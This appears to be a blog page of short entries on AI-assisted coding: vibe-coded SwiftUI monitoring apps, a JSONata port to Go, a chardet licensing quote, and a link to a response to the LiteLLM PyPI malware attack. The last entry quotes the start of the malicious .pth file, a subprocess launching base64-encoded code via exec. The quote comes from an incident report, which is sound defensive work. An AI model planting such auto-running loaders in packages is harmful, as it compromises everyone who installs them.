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Creator of Datasette and Lanyrd, co-creator of the Django Web Framework.
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Quoting Matt Webb

2026-03-28 20:04:26

The thing about agentic coding is that agents grind problems into dust. Give an agent a problem and a while loop and - long term - it’ll solve that problem even if it means burning a trillion tokens and re-writing down to the silicon. [...]

But we want AI agents to solve coding problems quickly and in a way that is maintainable and adaptive and composable (benefiting from improvements elsewhere), and where every addition makes the whole stack better.

So at the bottom is really great libraries that encapsulate hard problems, with great interfaces that make the “right” way the easy way for developers building apps with them. Architecture!

While I’m vibing (I call it vibing now, not coding and not vibe coding) while I’m vibing, I am looking at lines of code less than ever before, and thinking about architecture more than ever before.

Matt Webb, An appreciation for (technical) architecture

Tags: matt-webb, ai, llms, vibe-coding, coding-agents, ai-assisted-programming, generative-ai, agentic-engineering, definitions

datasette-showboat 0.1a2

2026-03-28 07:42:47

Release: datasette-showboat 0.1a2

I added an option to export a Markdown file from my app that lets Showboat incrementally publish updates to a remote server.

Quoting Richard Fontana

2026-03-28 05:11:17

FWIW, IANDBL, TINLA, etc., I don’t currently see any basis for concluding that chardet 7.0.0 is required to be released under the LGPL. AFAIK no one including Mark Pilgrim has identified persistence of copyrightable expressive material from earlier versions in 7.0.0 nor has anyone articulated some viable alternate theory of license violation. [...]

Richard Fontana, LGPLv3 co-author, weighing in on the chardet relicensing situation

Tags: open-source, ai-ethics, llms, ai, generative-ai, ai-assisted-programming

Vibe coding SwiftUI apps is a lot of fun

2026-03-28 04:59:53

I have a new laptop - a 128GB M5 MacBook Pro, which early impressions show to be very capable for running good local LLMs. I got frustrated with Activity Monitor and decided to vibe code up some alternative tools for monitoring performance and I'm very happy with the results.

This is my second experiment with vibe coding macOS apps - the first was this presentation app a few weeks ago.

It turns out Claude Opus 4.6 and GPT-5.4 are both very competent at SwiftUI - and a full SwiftUI app can fit in a single text file, which means I can use them to spin something up without even opening Xcode.

I’ve built two apps so far: Bandwidther shows me what apps are using network bandwidth and Gpuer to show me what’s going on with the GPU. At Claude’s suggestion both of these are now menu bar icons that open a panel full of information.

Bandwidther

I built this app first, because I wanted to see what Dropbox was doing. It looks like this:

Screenshot of Bandwidther macOS app showing two columns: left side displays overall download/upload speeds, a bandwidth graph over the last 60 seconds, cumulative totals, internet and LAN connection counts, and internet destinations; right side shows per-process bandwidth usage sorted by rate with processes like nsurlsessiond, apsd, rapportd, mDNSResponder, Dropbox, and others listed with their individual download/upload speeds and progress bars.

I’ve shared the full transcript I used to build the first version of the app. My prompts were pretty minimal:

Show me how much network bandwidth is in use from this machine to the internet as opposed to local LAN

(My initial curiosity was to see if Dropbox was transferring files via the LAN from my old computer or was downloading from the internet.)

mkdir /tmp/bandwidther and write a native Swift UI app in there that shows me these details on a live ongoing basis

This got me the first version, which proved to me this was worth pursuing further.

git init and git commit what you have so far

Since I was about to start adding new features.

Now suggest features we could add to that app, the goal is to provide as much detail as possible concerning network usage including by different apps

The nice thing about having Claude suggest features is that it has a much better idea for what’s possible than I do.

We had a bit of back and forth fixing some bugs, then I sent a few more prompts to get to the two column layout shown above:

add Per-Process Bandwidth, relaunch the app once that is done

now add the reverse DNS feature but make sure original IP addresses are still visible too, albeit in smaller typeface

redesign the app so that it is wider, I want two columns - the per-process one on the left and the rest on the right

OK make it a task bar icon thing, when I click the icon I want the app to appear, the icon itself should be a neat minimal little thing

The source code and build instructions are available in simonw/bandwidther.

Gpuer

While I was building Bandwidther in one session I had another session running to build a similar tool for seeing what the GPU was doing. Here’s what I ended up with:

Screenshot of the Gpuer app on macOS showing memory usage for an Apple M5 Max with 40 GPU cores. Left panel: a large orange "38 GB Available" readout showing usage of 128.0 GB unified memory, "Room for ~18 more large apps before pressure", a warning banner reading "1.5 GB pushed to disk — system was under pressure recently", a horizontal segmented bar chart labeled "Where your memory is going" with green, blue, and grey segments and a legend, an explanatory note about GPU unified memory, a GPU Utilization section showing 0%, and a History graph showing Available and GPU Utilization over time as line charts. Right panel: a Memory Footprint list sorted by Memory, showing process names with horizontal pink/purple usage bars and CPU percentage labels beside each entry, covering processes including Dropbox, WebKit, Virtualization, node, Claude Helper, Safari, LM Studio, WindowServer, Finder, and others.

Here's the transcript. This one took even less prompting because I could use the in-progress Bandwidther as an example:

I want to know how much RAM and GPU this computer is using, which is hard because stuff on the GPU and RAM does not seem to show up in Activity Monitor

This collected information using system_profiler and memory_pressure and gave me an answer - more importantly it showed me this was possible, so I said:

Look at /tmp/bandwidther and then create a similar app in /tmp/gpuer which shows the information from above on an ongoing basis, or maybe does it better

After a few more changes to the Bandwidther app I told it to catch up:

Now take a look at recent changes in /tmp/bandwidther - that app now uses a sys tray icon, imitate that

This remains one of my favorite tricks for using coding agents: having them recombine elements from other projects.

The code for Gpuer can be found in simonw/gpuer on GitHub.

You shouldn't trust these apps

These two apps are classic vibe coding: I don't know Swift and I hardly glanced at the code they were writing.

More importantly though, I have very little experience with macOS internals such as the values these tools are measuring. I am completely unqualified to evaluate if the numbers and charts being spat out by these tools are credible or accurate!

I've added warnings to both GitHub repositories to that effect.

This morning I caught Gpuer reporting that I had just 5GB of memory left when that clearly wasn't the case (according to Activity Monitor). I pasted a screenshot into Claude Code and it adjusted the calculations and the new numbers look right, but I'm still not confident that it's reporting things correctly.

I only shared them on GitHub because I think they're interesting as an example of what Claude can do with SwiftUI.

Despite my lack of confidence in the apps themselves, I did learn some useful things from these projects:

  • A SwiftUI app can get a whole lot done with a single file of code - here's GpuerApp.swift (880 lines) and BandwidtherApp.swift (1063 lines).
  • Wrapping various terminal commands in a neat UI with Swift is easily achieved.
  • Claude has surprisingly good design taste when it comes to SwiftUI applications.
  • Turning an app into a menu bar app is just a few lines of extra code as well.
  • You don't need to open Xcode to build this kind of application!

These two apps took very little time to build and have convinced me that building macOS apps in SwiftUI is a new capability I should consider for future projects.

Tags: macos, ai, generative-ai, llms, vibe-coding, coding-agents, swift, claude-code

We Rewrote JSONata with AI in a Day, Saved $500K/Year

2026-03-27 08:35:01

We Rewrote JSONata with AI in a Day, Saved $500K/Year

Bit of a hyperbolic framing but this looks like another case study of vibe porting, this time spinning up a new custom Go implementation of the JSONata JSON expression language - similar in focus to jq, and heavily associated with the Node-RED platform.

As with other vibe-porting projects the key enabling factor was JSONata's existing test suite, which helped build the first working Go version in 7 hours and $400 of token spend.

The Reco team then used a shadow deployment for a week to run the new and old versions in parallel to confirm the new implementation exactly matched the behavior of the old one.

Tags: go, json, ai, generative-ai, llms, agentic-engineering, vibe-porting

My minute-by-minute response to the LiteLLM malware attack

2026-03-27 07:58:22

My minute-by-minute response to the LiteLLM malware attack

Callum McMahon reported the LiteLLM malware attack to PyPI. Here he shares the Claude transcripts he used to help him confirm the vulnerability and decide what to do about it. Claude even suggested the PyPI security contact address after confirming the malicious code in a Docker container:

Confirmed. Fresh download from PyPI right now in an isolated Docker container:

Inspecting: litellm-1.82.8-py3-none-any.whl
FOUND: litellm_init.pth
SIZE: 34628 bytes
FIRST 200 CHARS:
import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('aW1wb3J0IHN1YnByb2Nlc3MKaW1wb3J0IHRlbXBmaWxl...

The malicious litellm==1.82.8 is live on PyPI right now and anyone installing or upgrading litellm will be infected. This needs to be reported to [email protected] immediately.

I was chuffed to see Callum use my claude-code-transcripts tool to publish the transcript of the conversation.

Via Hacker News

Tags: pypi, security, ai, generative-ai, llms, claude, supply-chain